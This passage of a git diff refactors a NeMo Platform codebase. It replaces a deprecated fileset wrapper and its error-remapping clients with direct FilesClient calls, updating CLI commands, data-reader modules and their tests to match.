+208,7 @@ def nemotron_personas_locale(_services: str, sdk: NeMoPlatform, workspace: str, yield locale with suppress(NotFoundError): - sdk.files.filesets.delete(fileset_name, workspace=WORKSPACE) + files.delete_fileset(name=fileset_name, workspace=WORKSPACE) def test_nemotron_personas_sampling(sdk: NeMoPlatform, workspace: str, nemotron_personas_locale: str) -> None: diff --git a/e2e/test_jobs_auth.py b/e2e/test_jobs_auth.py index ed83ebc225..463d26d61e 100644 --- a/e2e/test_jobs_auth.py +++ b/e2e/test_jobs_auth.py @@ -12,6 +12,9 @@ import pytest from nemo_platform import NeMoPlatform from nemo_platform_ext.auth.helpers import generate_unsigned_jwt +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest from nemo_platform_plugin.jobs.api_factory import ( ContainerSpec, CPUExecutionProviderSpec, @@ -121,7 +124,8 @@ def test_job_principal_propagation(sdk: NeMoPlatform): assert completed_job.status == "completed" fileset_name = f"hello-world-{job.name}" - fileset = user_sdk.files.filesets.retrieve(workspace=workspace_name, name=fileset_name) + files = client_from_platform(user_sdk, FilesClient) + fileset = files.get_fileset(workspace=workspace_name, name=fileset_name).data() assert fileset is not None file_content = user_sdk.files.download_content( @@ -150,7 +154,8 @@ def test_job_cannot_access_unauthorized_workspace(sdk: NeMoPlatform): other_sdk = _as_bearer_user(sdk, other_email) fileset_name = "private-data" - owner_sdk.files.filesets.create(workspace=restricted_workspace, name=fileset_name) + files = client_from_platform(owner_sdk, FilesClient) + files.create_fileset(workspace=restricted_workspace, body=CreateFilesetRequest(name=fileset_name)) job = other_sdk.jobs.create( workspace=runner_workspace, diff --git a/packages/data_designer_nemo/src/data_designer_nemo/fileset_file_seed_reader.py b/packages/data_designer_nemo/src/data_designer_nemo/fileset_file_seed_reader.py index 239768a91a..a7ff77d61d 100644 --- a/packages/data_designer_nemo/src/data_designer_nemo/fileset_file_seed_reader.py +++ b/packages/data_designer_nemo/src/data_designer_nemo/fileset_file_seed_reader.py @@ -9,6 +9,8 @@ from data_designer_nemo.sdk_translation import async_to_sync_sdk from nemo_platform import AsyncNeMoPlatform, NeMoPlatform from nemo_platform.filesets import FilesetFileSystem +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient workspace_cvar = ContextVar[str | None]("workspace_cvar", default=None) @@ -26,7 +28,8 @@ def create_duckdb_connection(self) -> duckdb.DuckDBPyConnection: if self._sdk is None: raise RuntimeError("FilesetFileSeedReader requires an injected NeMo Platform SDK") - filesystem = FilesetFileSystem(sdk=self._sdk) + files_client = client_from_platform(self._sdk, FilesClient) + filesystem = FilesetFileSystem(client=files_client) conn = duckdb.connect() conn.register_filesystem(filesystem) diff --git a/packages/data_designer_nemo/src/data_designer_nemo/nemotron_personas.py b/packages/data_designer_nemo/src/data_designer_nemo/nemotron_personas.py index 5ac44ac0a1..cfd2d6d906 100644 --- a/packages/data_designer_nemo/src/data_designer_nemo/nemotron_personas.py +++ b/packages/data_designer_nemo/src/data_designer_nemo/nemotron_personas.py @@ -6,8 +6,12 @@ from typing import Literal from data_designer.config.utils.constants import NEMOTRON_PERSONAS_DATASET_SIZES -from nemo_platform import ConflictError, NeMoPlatform -from nemo_platform.types.files import NGCStorageConfigParam +from nemo_platform import NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.client.errors import ConflictError +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.storage_config import NGCStorageConfig +from nemo_platform_plugin.files.types import CreateFilesetRequest logger = logging.getLogger(__name__) @@ -90,20 +94,23 @@ def sync_nemotron_personas_fileset( def _create_fileset(sdk: NeMoPlatform, locale: str, api_key_secret: str) -> None: - sdk.files.filesets.create( + files = client_from_platform(sdk, FilesClient) + files.create_fileset( workspace=WORKSPACE, - name=get_resource_name_for_locale(locale), - description=f"Nemotron Personas dataset for locale: {locale!r}", - purpose="dataset", - storage=_get_storage_config_for_locale(locale, api_key_secret), - cache=True, + body=CreateFilesetRequest( + name=get_resource_name_for_locale(locale), + description=f"Nemotron Personas dataset for locale: {locale!r}", + purpose="dataset", + storage=_get_storage_config_for_locale(locale, api_key_secret), + cache=True, + ), ) -def _get_storage_config_for_locale(locale: str, api_key_secret: str) -> NGCStorageConfigParam: +def _get_storage_config_for_locale(locale: str, api_key_secret: str) -> NGCStorageConfig: resource_name = get_resource_name_for_locale(locale) - return NGCStorageConfigParam( + return NGCStorageConfig( api_key_secret=api_key_secret, org=NGC_ORG, team=NGC_TEAM, diff --git a/packages/data_designer_nemo/src/data_designer_nemo/person_reader.py b/packages/data_designer_nemo/src/data_designer_nemo/person_reader.py index d7ce8d0aab..eeacfe0d59 100644 --- a/packages/data_designer_nemo/src/data_designer_nemo/person_reader.py +++ b/packages/data_designer_nemo/src/data_designer_nemo/person_reader.py @@ -9,6 +9,8 @@ from data_designer_nemo.sdk_translation import async_to_sync_sdk from nemo_platform import AsyncNeMoPlatform, NeMoPlatform from nemo_platform.filesets import FilesetFileSystem +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient class FilesetsPersonReader(PersonReader): @@ -36,7 +38,8 @@ def __init__(self, sdk: NeMoPlatform | AsyncNeMoPlatform): self._sdk = sdk def create_duckdb_connection(self) -> duckdb.DuckDBPyConnection: - filesystem = FilesetFileSystem(sdk=self._sdk) + files_client = client_from_platform(self._sdk, FilesClient) + filesystem = FilesetFileSystem(client=files_client) conn = duckdb.connect() conn.register_filesystem(filesystem) return conn diff --git a/packages/data_designer_nemo/src/data_designer_nemo/person_sampling.py b/packages/data_designer_nemo/src/data_designer_nemo/person_sampling.py index 2a826313ed..1fcf2e5499 100644 --- a/packages/data_designer_nemo/src/data_designer_nemo/person_sampling.py +++ b/packages/data_designer_nemo/src/data_designer_nemo/person_sampling.py @@ -6,7 +6,10 @@ import data_designer.config as dd from data_designer_nemo.errors import NDDInternalError from data_designer_nemo.nemotron_personas import get_resource_name_for_locale -from nemo_platform import AsyncNeMoPlatform, NotFoundError, PermissionDeniedError +from nemo_platform import AsyncNeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.client.errors import NotFoundError, PermissionDeniedError +from nemo_platform_plugin.files.client import AsyncFilesClient logger = logging.getLogger(__name__) @@ -18,11 +21,12 @@ async def ensure_nemotron_personas_filesets(config: dd.DataDesignerConfig, sdk: return unreachable_locales = set() + files = client_from_platform(sdk, AsyncFilesClient) for locale in locales: fileset_name = get_resource_name_for_locale(locale) try: - await sdk.files.filesets.retrieve(name=fileset_name, workspace="system") + await files.get_fileset(name=fileset_name, workspace="system") except NotFoundError: logger.error( f"Nemotron personas fileset {fileset_name!r} for locale {locale!r} is missing in workspace 'system'. " diff --git a/packages/data_designer_nemo/src/data_designer_nemo/seed.py b/packages/data_designer_nemo/src/data_designer_nemo/seed.py index 91baf47b70..33429505a3 100644 --- a/packages/data_designer_nemo/src/data_designer_nemo/seed.py +++ b/packages/data_designer_nemo/src/data_designer_nemo/seed.py @@ -8,7 +8,10 @@ from data_designer_nemo.errors import NDDInternalError, NDDInvalidConfigError from data_designer_nemo.fileset_file_seed_source import FilesetFileSeedSource from data_designer_nemo.secret_resolver import validate_secret -from nemo_platform import AsyncNeMoPlatform, NotFoundError, PermissionDeniedError +from nemo_platform import AsyncNeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.client.errors import NotFoundError, PermissionDeniedError +from nemo_platform_plugin.files.client import AsyncFilesClient logger = logging.getLogger(__name__) @@ -27,8 +30,9 @@ async def validate_seed(dd_config: dd.DataDesignerConfig, workspace: str, sdk: A if isinstance(seed_source, FilesetFileSeedSource): workspace, fileset_name = _parse_seed_source_path(seed_source.path, workspace) + files = client_from_platform(sdk, AsyncFilesClient) try: - await sdk.files.filesets.retrieve(name=fileset_name, workspace=workspace) + await files.get_fileset(name=fileset_name, workspace=workspace) except NotFoundError as e: raise NDDInvalidConfigError(f"Could not find fileset {fileset_name!r} in workspace {workspace!r}") from e except PermissionDeniedError as e: diff --git a/packages/data_designer_nemo/tests/unit/test_fileset_file_seed_reader.py b/packages/data_designer_nemo/tests/unit/test_fileset_file_seed_reader.py index 9548bedecc..866a5795a9 100644 --- a/packages/data_designer_nemo/tests/unit/test_fileset_file_seed_reader.py +++ b/packages/data_designer_nemo/tests/unit/test_fileset_file_seed_reader.py @@ -6,6 +6,7 @@ import pytest from data_designer_nemo.fileset_file_seed_reader import FilesetFileSeedReader, workspace_cvar from data_designer_nemo.fileset_file_seed_source import FilesetFileSeedSource +from nemo_platform_plugin.files.client import FilesClient def test_dataset_uri_with_workspace() -> None: @@ -39,12 +40,18 @@ def test_create_duckdb_connection_requires_injected_sdk() -> None: def test_create_duckdb_connection_uses_injected_sdk() -> None: sdk = Mock() conn = Mock() + mock_files_client = Mock() with ( patch("data_designer_nemo.fileset_file_seed_reader.duckdb.connect", return_value=conn), patch("data_designer_nemo.fileset_file_seed_reader.FilesetFileSystem") as fileset_file_system, + patch( + "data_designer_nemo.fileset_file_seed_reader.client_from_platform", + return_value=mock_files_client, + ) as mock_adapter, ): assert FilesetFileSeedReader(sdk).create_duckdb_connection() is conn - fileset_file_system.assert_called_once_with(sdk) + mock_adapter.assert_called_once_with(sdk, FilesClient) + fileset_file_system.assert_called_once_with(client=mock_files_client) conn.register_filesystem.assert_called_once_with(fileset_file_system.return_value) diff --git a/packages/data_designer_nemo/tests/unit/test_person_sampling.py b/packages/data_designer_nemo/tests/unit/test_person_sampling.py index 23556a5a8e..8efb226173 100644 --- a/packages/data_designer_nemo/tests/unit/test_person_sampling.py +++ b/packages/data_designer_nemo/tests/unit/test_person_sampling.py @@ -1,7 +1,7 @@ # SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. # SPDX-License-Identifier: Apache-2.0 -from unittest.mock import AsyncMock, MagicMock +from unittest.mock import AsyncMock, MagicMock, patch import data_designer.config as dd import pytest @@ -9,7 +9,8 @@ from data_designer_nemo.person_sampling import ( ensure_nemotron_personas_filesets, ) -from nemo_platform import AsyncNeMoPlatform, NotFoundError, PermissionDeniedError +from nemo_platform import AsyncNeMoPlatform +from nemo_platform_plugin.client.errors import NotFoundError, PermissionDeniedError def _make_person_sampler_column(name: str, locale: str) -> dd.SamplerColumnConfig: @@ -27,45 +28,61 @@ def _make_config(*columns: dd.SamplerColumnConfig) -> dd.DataDesignerConfig: return builder.build() +def _mock_http_response(status_code: int) -> MagicMock: + resp = MagicMock() + resp.status_code = status_code + resp.json.return_value = {"detail": "error"} + resp.text = "error" + return resp + + @pytest.mark.asyncio async def test_ensure_nemotron_personas_filesets_checks_each_locale() -> None: sdk = AsyncMock(spec=AsyncNeMoPlatform) - sdk.files.filesets.retrieve = AsyncMock() + mock_files = MagicMock() + mock_files.get_fileset = AsyncMock() config = _make_config( _make_person_sampler_column("person_us", "en_US"), _make_person_sampler_column("person_jp", "ja_JP"), ) - await ensure_nemotron_personas_filesets(config, sdk) + with patch("data_designer_nemo.person_sampling.client_from_platform", return_value=mock_files): + await ensure_nemotron_personas_filesets(config, sdk) - assert sdk.files.filesets.retrieve.await_count == 2 + assert mock_files.get_fileset.await_count == 2 @pytest.mark.asyncio async def test_ensure_nemotron_personas_filesets_raises_error_for_missing_fileset() -> None: sdk = AsyncMock(spec=AsyncNeMoPlatform) - sdk.files.filesets.retrieve.side_effect = NotFoundError("missing", response=MagicMock(), body=None) + mock_files = MagicMock() + mock_files.get_fileset = AsyncMock(side_effect=NotFoundError(_mock_http_response(404))) config = _make_config(_make_person_sampler_column("person", "en_US")) - with pytest.raises(NDDInternalError): - await ensure_nemotron_personas_filesets(config, sdk) + with patch("data_designer_nemo.person_sampling.client_from_platform", return_value=mock_files): + with pytest.raises(NDDInternalError): + await ensure_nemotron_personas_filesets(config, sdk) @pytest.mark.asyncio async def test_ensure_nemotron_personas_filesets_raises_error_for_permission_error() -> None: sdk = AsyncMock(spec=AsyncNeMoPlatform) - sdk.files.filesets.retrieve.side_effect = PermissionDeniedError("denied", response=MagicMock(), body=None) + mock_files = MagicMock() + mock_files.get_fileset = AsyncMock(side_effect=PermissionDeniedError(_mock_http_response(403))) config = _make_config(_make_person_sampler_column("person", "en_US")) - with pytest.raises(NDDInternalError): - await ensure_nemotron_personas_filesets(config, sdk) + with patch("data_designer_nemo.person_sampling.client_from_platform", return_value=mock_files): + with pytest.raises(NDDInternalError): + await ensure_nemotron_personas_filesets(config, sdk) @pytest.mark.asyncio async def test_ensure_nemotron_personas_filesets_raises_internal_error_on_other_errors() -> None: sdk = AsyncMock(spec=AsyncNeMoPlatform) - sdk.files.filesets.retrieve.side_effect = RuntimeError("something went wrong") + mock_files = MagicMock() + mock_files.get_fileset = AsyncMock(side_effect=RuntimeError("something went wrong")) config = _make_config(_make_person_sampler_column("person", "en_US")) - with pytest.raises(NDDInternalError): - await ensure_nemotron_personas_filesets(config, sdk) + with patch("data_designer_nemo.person_sampling.client_from_platform", return_value=mock_files): + with pytest.raises(NDDInternalError): + await ensure_nemotron_personas_filesets(config, sdk) diff --git a/packages/filesets/src/filesets/filesystem/filesystem.py b/packages/filesets/src/filesets/filesystem/filesystem.py index 27f01cc2ce..56230e0e53 100644 --- a/packages/filesets/src/filesets/filesystem/filesystem.py +++ b/packages/filesets/src/filesets/filesystem/filesystem.py @@ -17,7 +17,6 @@ from fsspec.asyn import AbstractAsyncStreamedFile, AsyncFileSystem, _get_batch_size from fsspec.callbacks import DEFAULT_CALLBACK, Callback from fsspec.spec import AbstractBufferedFile -from nemo_platform import AsyncNeMoPlatform, NeMoPlatform from nemo_platform_plugin.files.client import AsyncFilesClient, FilesClient from nemo_platform_plugin.files.types import FilesetFileOutput, ListFilesQueryParams @@ -350,26 +349,11 @@ def register_fsspec(cls) -> None: def __init__( self, *, - client: FilesClient | AsyncFilesClient | None = None, - sdk: NeMoPlatform | AsyncNeMoPlatform | None = None, + client: FilesClient | AsyncFilesClient, batch_size: int | None = None, blocksize: int | None = None, **kwargs, ): - if client is None and sdk is None: - raise TypeError("Either 'client' or 'sdk' must be provided") - - # Normalize: convert sdk to a FilesClient so there's one code path. - # AsyncNeMoPlatform → AsyncFilesClient (already async, _ensure_async is a no-op). - # NeMoPlatform → FilesClient (sync, _ensure_async converts to async). - if sdk is not None: - from nemo_platform_plugin.client.adapter import client_from_platform - - if isinstance(sdk, AsyncNeMoPlatform): - client = client_from_platform(sdk, AsyncFilesClient) - else: - client = client_from_platform(sdk, FilesClient) - async_client = self._ensure_async(client) is_async = isinstance(client, AsyncFilesClient) @@ -384,22 +368,14 @@ def __init__( @staticmethod def _ensure_async(client: FilesClient | AsyncFilesClient) -> AsyncFilesClient: - """Ensure we have an AsyncFilesClient, converting from sync if needed. - - Preserves subclass behavior: if the sync client has ``_async_cls`` - (e.g. a remapping subclass), that class is used for the async client. - """ + """Ensure we have an AsyncFilesClient, converting from sync if needed.""" if isinstance(client, AsyncFilesClient): return client import httpx - # Use _async_cls if the sync client defines one (e.g. _RemappingFilesClient - # → _RemappingAsyncFilesClient), otherwise plain AsyncFilesClient. - async_cls = getattr(client, "_async_cls", None) or AsyncFilesClient - transport = _detect_async_transport(client._http) - return async_cls( + return AsyncFilesClient( base_url=client.base_url, workspace=client.workspace, auth=client._auth, diff --git a/packages/filesets/src/filesets/resources.py b/packages/filesets/src/filesets/resources.py index b61242ec10..adf0c52979 100644 --- a/packages/filesets/src/filesets/resources.py +++ b/packages/filesets/src/filesets/resources.py @@ -12,23 +12,16 @@ from dataclasses import dataclass from functools import cached_property from pathlib import PurePath -from typing import Any, Protocol, runtime_checkable +from typing import Protocol, runtime_checkable -import nemo_platform from fsspec.callbacks import Callback from fsspec.core import has_magic -from nemo_platform_plugin.client.errors import NemoHTTPError -from nemo_platform_plugin.client.response import AsyncNemoPaginatedResponse, NemoPaginatedResponse from nemo_platform_plugin.files.client import AsyncFilesClient, FilesClient from nemo_platform_plugin.files.types import ( CacheStatus, CreateFilesetRequest, FilesetFileOutput, - FilesetMetadata, FilesetOutput, - FilesetPurpose, - StorageConfig, - UpdateFilesetRequest, ) from filesets.filesystem.filesystem import ( @@ -38,85 +31,6 @@ ) -def _build_error_map() -> dict[type[NemoHTTPError], type[nemo_platform.APIStatusError]]: - """Build a mapping from NemoClient errors to Stainless SDK errors. - - Lazy import to avoid hard-coding the Stainless error classes at module level. - This mapping is temporary — remove when all consumers import errors from - nemo_platform_plugin.client.errors instead of nemo_platform (AIRCORE-840). - """ - from nemo_platform_plugin.client import errors - - return { - errors.BadRequestError: nemo_platform.BadRequestError, - errors.AuthenticationError: nemo_platform.AuthenticationError, - errors.PermissionDeniedError: nemo_platform.PermissionDeniedError, - errors.NotFoundError: nemo_platform.NotFoundError, - errors.ConflictError: nemo_platform.ConflictError, - errors.UnprocessableEntityError: nemo_platform.UnprocessableEntityError, - errors.RateLimitError: nemo_platform.RateLimitError, - errors.InternalServerError: nemo_platform.InternalServerError, - } - - -_ERROR_MAP: dict[type[NemoHTTPError], type[nemo_platform.APIStatusError]] | None = None - - -def _get_error_map() -> dict[type[NemoHTTPError], type[nemo_platform.APIStatusError]]: - global _ERROR_MAP - if _ERROR_MAP is None: - _ERROR_MAP = _build_error_map() - return _ERROR_MAP - - -def _raise_as_stainless(e: NemoHTTPError) -> None: - """Re-raise a NemoClient error as its Stainless SDK equivalent. - - Preserves backward compatibility for consumers that catch - ``nemo_platform.NotFoundError`` etc. Remove with AIRCORE-840. - """ - error_map = _get_error_map() - stainless_cls = error_map.get(type(e)) - if stainless_cls is not None: - raise stainless_cls( - message=str(e), - response=e.http_response, - body=e.body, - ) from e - raise - - -class _RemappingFilesClient(FilesClient): - """FilesClient that re-raises NemoClient errors as Stainless SDK errors. - - Wraps ``send()`` so ALL operations through this client (filesets, files, - fsspec) raise Stainless-compatible exceptions. Remove with AIRCORE-840. - """ - - # Used by FilesetFileSystem._ensure_async to create the matching async - # remapping client when converting sync → async. - _async_cls: type[AsyncFilesClient] | None = None - - def send(self, request, *, headers=None, retry=None): # type: ignore[override] - try: - return super().send(request, headers=headers, retry=retry) - except NemoHTTPError as e: - _raise_as_stainless(e) - - -class _RemappingAsyncFilesClient(AsyncFilesClient): - """AsyncFilesClient that re-raises NemoClient errors as Stainless SDK errors.""" - - async def send(self, request, *, headers=None, retry=None): # type: ignore[override] - try: - return await super().send(request, headers=headers, retry=retry) - except NemoHTTPError as e: - _raise_as_stainless(e) - - -_RemappingFilesClient._async_cls = _RemappingAsyncFilesClient - - @dataclass class ListFilesResponse: """Response from listing files in a fileset. @@ -216,199 +130,6 @@ def _matches_glob(filepath: str, pattern: str) -> bool: return PurePath(filepath).match(pattern) -class FilesetsSubResource: - """Fileset CRUD operations (create, retrieve, update, list, delete). - - Wraps ``FilesClient`` methods with higher-level convenience signatures - (unwrapped params, ``exist_ok`` support). - - .. deprecated:: - Temporary shim for the ``sdk.files`` fileset interface. - New code should use ``FilesClient`` directly. - Once all callers are migrated, this class will be removed. - """ - - def __init__(self, client: FilesClient) -> None: - self._client = client - - def create( - self, - *, - name: str, - workspace: str | None = None, - exist_ok: bool = False, - description: str | None = None, - project: str | None = None, - purpose: FilesetPurpose | None = None, - metadata: FilesetMetadata | None = None, - storage: StorageConfig | None = None, - custom_fields: dict[str, Any] | None = None, - cache: bool = False, - ) -> FilesetOutput: - body = CreateFilesetRequest( - name=name, - description=description, - project=project, - purpose=purpose or FilesetPurpose.GENERIC, - metadata=metadata or FilesetMetadata(), - storage=storage, - custom_fields=custom_fields or {}, - cache=cache, - ) - return self._client.create_fileset(workspace=workspace, body=body, exist_ok=exist_ok).data() - - def retrieve(self, name: str, *, workspace: str | None = None) -> FilesetOutput: - return self._client.get_fileset(workspace=workspace, name=name).data() - - def update( - self, - name: str, - *, - workspace: str | None = None, - description: str | None = None, - project: str | None = None, - purpose: FilesetPurpose | None = None, - metadata: FilesetMetadata | None = None, - custom_fields: dict[str, Any] | None = None, - timeout: float | None = None, - ) -> FilesetOutput: - # Only include explicitly provided fields so exclude_unset works correctly - kwargs = { - k: v - for k, v in dict( - description=description, - project=project, - purpose=purpose, - metadata=metadata, - custom_fields=custom_fields, - ).items() - if v is not None - } - body = UpdateFilesetRequest(**kwargs) - client = self._client.with_options(timeout=timeout) if timeout is not None else self._client - return client.update_fileset(workspace=workspace, name=name, body=body).data() - - def list( - self, - *, - workspace: str | None = None, - page: int | None = None, - page_size: int | None = None, - sort: str | None = None, - filter: str | dict | None = None, - ) -> NemoPaginatedResponse[FilesetOutput]: - query_params = { - k: v - for k, v in dict( - page=page, - page_size=page_size, - sort=sort, - filter=filter, - ).items() - if v is not None - } - return self._client.list_filesets(workspace=workspace, query_params=query_params or None) - - def delete(self, name: str, *, workspace: str | None = None) -> FilesetOutput: - return self._client.delete_fileset(workspace=workspace, name=name).data() - - -class AsyncFilesetsSubResource: - """Async fileset CRUD operations (create, retrieve, update, list, delete). - - Wraps ``AsyncFilesClient`` methods with higher-level convenience signatures - (unwrapped params, ``exist_ok`` support). - - .. deprecated:: - Temporary shim for the ``sdk.files`` fileset interface. - New code should use ``AsyncFilesClient`` directly. - Once all callers are migrated, this class will be removed. - """ - - def __init__(self, client: AsyncFilesClient) -> None: - self._client = client - - async def create( - self, - *, - name: str, - workspace: str | None = None, - exist_ok: bool = False, - description: str | None = None, - project: str | None = None, - purpose: FilesetPurpose | None = None, - metadata: FilesetMetadata | None = None, - storage: StorageConfig | None = None, - custom_fields: dict[str, Any] | None = None, - cache: bool = False, - ) -> FilesetOutput: - body = CreateFilesetRequest( - name=name, - description=description, - project=project, - purpose=purpose or FilesetPurpose.GENERIC, - metadata=metadata or FilesetMetadata(), - storage=storage, - custom_fields=custom_fields or {}, - cache=cache, - ) - return (await self._client.create_fileset(workspace=workspace, body=body, exist_ok=exist_ok)).data() - - async def retrieve(self, name: str, *, workspace: str | None = None) -> FilesetOutput: - return (await self._client.get_fileset(workspace=workspace, name=name)).data() - - async def update( - self, - name: str, - *, - workspace: str | None = None, - description: str | None = None, - project: str | None = None, - purpose: FilesetPurpose | None = None, - metadata: FilesetMetadata | None = None, - custom_fields: dict[str, Any] | None = None, - timeout: float | None = None, - ) -> FilesetOutput: - kwargs = { - k: v - for k, v in dict( - description=description, - project=project, - purpose=purpose, - metadata=metadata, - custom_fields=custom_fields, - ).items() - if v is not None - } - body = UpdateFilesetRequest(**kwargs) - client = self._client.with_options(timeout=timeout) if timeout is not None else self._client - return (await client.update_fileset(workspace=workspace, name=name, body=body)).data() - - async def list( - self, - *, - workspace: str | None = None, - page: int | None = None, - page_size: int | None = None, - sort: str | None = None, - filter: str | dict | None = None, - ) -> AsyncNemoPaginatedResponse[FilesetOutput]: - query_params = { - k: v - for k, v in dict( - page=page, - page_size=page_size, - sort=sort, - filter=filter, - ).items() - if v is not None - } - return await self._client.list_filesets(workspace=workspace, query_params=query_params or None) - - async def delete(self, name: str, *, workspace: str | None = None) -> FilesetOutput: - return (await self._client.delete_fileset(workspace=workspace, name=name)).data() - - class FilesResource: """FilesResource with high-level file operations. @@ -419,12 +140,12 @@ class FilesResource: def __init__(self, client) -> None: from nemo_platform_plugin.client.adapter import client_from_platform - self._client = client_from_platform(client, _RemappingFilesClient) + self._client = client_from_platform(client, FilesClient) @cached_property - def filesets(self) -> FilesetsSubResource: - """Access fileset CRUD operations (create, retrieve, update, list, delete).""" - return FilesetsSubResource(self._client) + def client(self) -> FilesClient: + """Access the underlying FilesClient for direct API calls.""" + return self._client @cached_property def fsspec(self) -> FilesetFileSystem: @@ -433,7 +154,11 @@ def fsspec(self) -> FilesetFileSystem: def _ensure_fileset_exists(self, workspace: str, fileset: str) -> None: """Create fileset if it doesn't exist (idempotent).""" - self.filesets.create(name=fileset, workspace=workspace, exist_ok=True) + self._client.create_fileset( + workspace=workspace, + body=CreateFilesetRequest(name=fileset), + exist_ok=True, + ) def download( self, @@ -650,7 +375,7 @@ def upload( kwargs["callback"] = callback self.fsspec.put(**kwargs) - return self.filesets.retrieve(name=fileset, workspace=ws) + return self._client.get_fileset(name=fileset, workspace=ws).data() def upload_content( self, @@ -751,7 +476,7 @@ def upload_content( case _: raise TypeError(f"Unsupported content type: {type(content)}") - return self.filesets.retrieve(name=fileset, workspace=ws) + return self._client.get_fileset(name=fileset, workspace=ws).data() def download_content( self, @@ -941,12 +666,12 @@ class AsyncFilesResource: def __init__(self, client) -> None: from nemo_platform_plugin.client.adapter import client_from_platform - self._client = client_from_platform(client, _RemappingAsyncFilesClient) + self._client = client_from_platform(client, AsyncFilesClient) @cached_property - def filesets(self) -> AsyncFilesetsSubResource: - """Access fileset CRUD operations (create, retrieve, update, list, delete).""" - return AsyncFilesetsSubResource(self._client) + def client(self) -> AsyncFilesClient: + """Access the underlying AsyncFilesClient for direct API calls.""" + return self._client @cached_property def fsspec(self) -> FilesetFileSystem: @@ -955,7 +680,11 @@ def fsspec(self) -> FilesetFileSystem: async def _ensure_fileset_exists(self, workspace: str, fileset: str) -> None: """Create fileset if it doesn't exist (idempotent).""" - await self.filesets.create(name=fileset, workspace=workspace, exist_ok=True) + await self._client.create_fileset( + workspace=workspace, + body=CreateFilesetRequest(name=fileset), + exist_ok=True, + ) async def download( self, @@ -1151,7 +880,7 @@ async def upload( kwargs["callback"] = callback await self.fsspec._put(**kwargs) - return await self.filesets.retrieve(name=fileset, workspace=ws) + return (await self._client.get_fileset(name=fileset, workspace=ws)).data() async def upload_content( self, @@ -1256,7 +985,7 @@ async def _read_chunks(f: AsyncReadable, chunk_size: int = 1024 * 1024) -> Async case _: raise TypeError(f"Unsupported content type: {type(content)}") - return await self.filesets.retrieve(name=fileset, workspace=ws) + return (await self._client.get_fileset(name=fileset, workspace=ws)).data() async def download_content( self, diff --git a/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/__init__.py b/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/__init__.py index d25116490b..fb28186de5 100644 --- a/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/__init__.py +++ b/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/__init__.py @@ -8,6 +8,8 @@ from typing import Annotated import typer +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient from nemo_platform_ext.cli.commands.api.files import filesets, otlp from nemo_platform_ext.cli.core.context import CLIContext @@ -60,6 +62,7 @@ def upload_files( raw_local_path: str = ctx.params.get("local_path") client = state.get_client() + files = client_from_platform(client, FilesClient) if workspace is None: workspace = client._get_workspace_path_param() @@ -68,7 +71,7 @@ def upload_files( with RichProgressCallback(description="Uploading") as callback: if fileset is not None: # Validate fileset exists before uploading - client.files.filesets.retrieve(fileset, workspace=workspace) + files.get_fileset(name=fileset, workspace=workspace) client.files.upload( local_path=raw_local_path, remote_path=remote_path, diff --git a/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/filesets.py b/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/filesets.py index 4ab9ca46ba..cbfb6189e2 100644 --- a/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/filesets.py +++ b/packages/nemo_platform_ext/src/nemo_platform_ext/cli/commands/api/files/filesets.py @@ -7,6 +7,9 @@ from typing import Annotated, Literal import typer +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest, UpdateFilesetRequest from nemo_platform_ext.cli.core.api import build_kwargs, merge_filter_dict from nemo_platform_ext.cli.core.code_generator import handle_code_generation @@ -139,7 +142,12 @@ def create_filesets( return client = state.get_client() - result = client.files.filesets.create(**all_kwargs) + files = client_from_platform(client, FilesClient) + exist_ok_val = all_kwargs.pop("exist_ok", None) + result = files.create_fileset( + body=CreateFilesetRequest(**all_kwargs), + **({"exist_ok": exist_ok_val} if exist_ok_val is not None else {}), + ).data() format_output( result, @@ -167,11 +175,12 @@ def delete_filesets( files.""" state: CLIContext = ctx.obj client = state.get_client() + files = client_from_platform(client, FilesClient) kwargs = build_kwargs( workspace=workspace, ) - client.files.filesets.delete(name, **kwargs) + files.delete_fileset(name=name, **kwargs) typer.echo("✓ Deleted successfully") @@ -247,17 +256,18 @@ def list_filesets( return client = state.get_client() + files = client_from_platform(client, FilesClient) path_args = () pagination_type = PaginationType.PAGE_NUMBER if all_pages: items = fetch_all_pages( - client.files.filesets.list, + files.list_filesets, path_args=path_args, body_args=kwargs, pagination_type=pagination_type, ) else: - items = client.files.filesets.list(*path_args, **kwargs) + items = files.list_filesets(*path_args, **kwargs) format_output( items, @@ -293,7 +303,8 @@ def retrieve_filesets( return client = state.get_client() - result = client.files.filesets.retrieve(name, **kwargs) + files = client_from_platform(client, FilesClient) + result = files.get_fileset(name=name, **kwargs).data() format_output( result, @@ -375,7 +386,14 @@ def update_filesets( return client = state.get_client() - result = client.files.filesets.update(**all_kwargs) + files = client_from_platform(client, FilesClient) + name_val = all_kwargs.pop("name") + workspace_val = all_kwargs.pop("workspace", None) + result = files.update_fileset( + name=name_val, + **({"workspace": workspace_val} if workspace_val is not None else {}), + body=UpdateFilesetRequest(**all_kwargs), + ).data() format_output( result, diff --git a/packages/nemo_platform_ext/tests/cli/integration/test_filesets.py b/packages/nemo_platform_ext/tests/cli/integration/test_filesets.py index a9603f027a..a01f9c2747 100644 --- a/packages/nemo_platform_ext/tests/cli/integration/test_filesets.py +++ b/packages/nemo_platform_ext/tests/cli/integration/test_filesets.py @@ -8,6 +8,9 @@ import pytest from nemo_platform import NeMoPlatform from 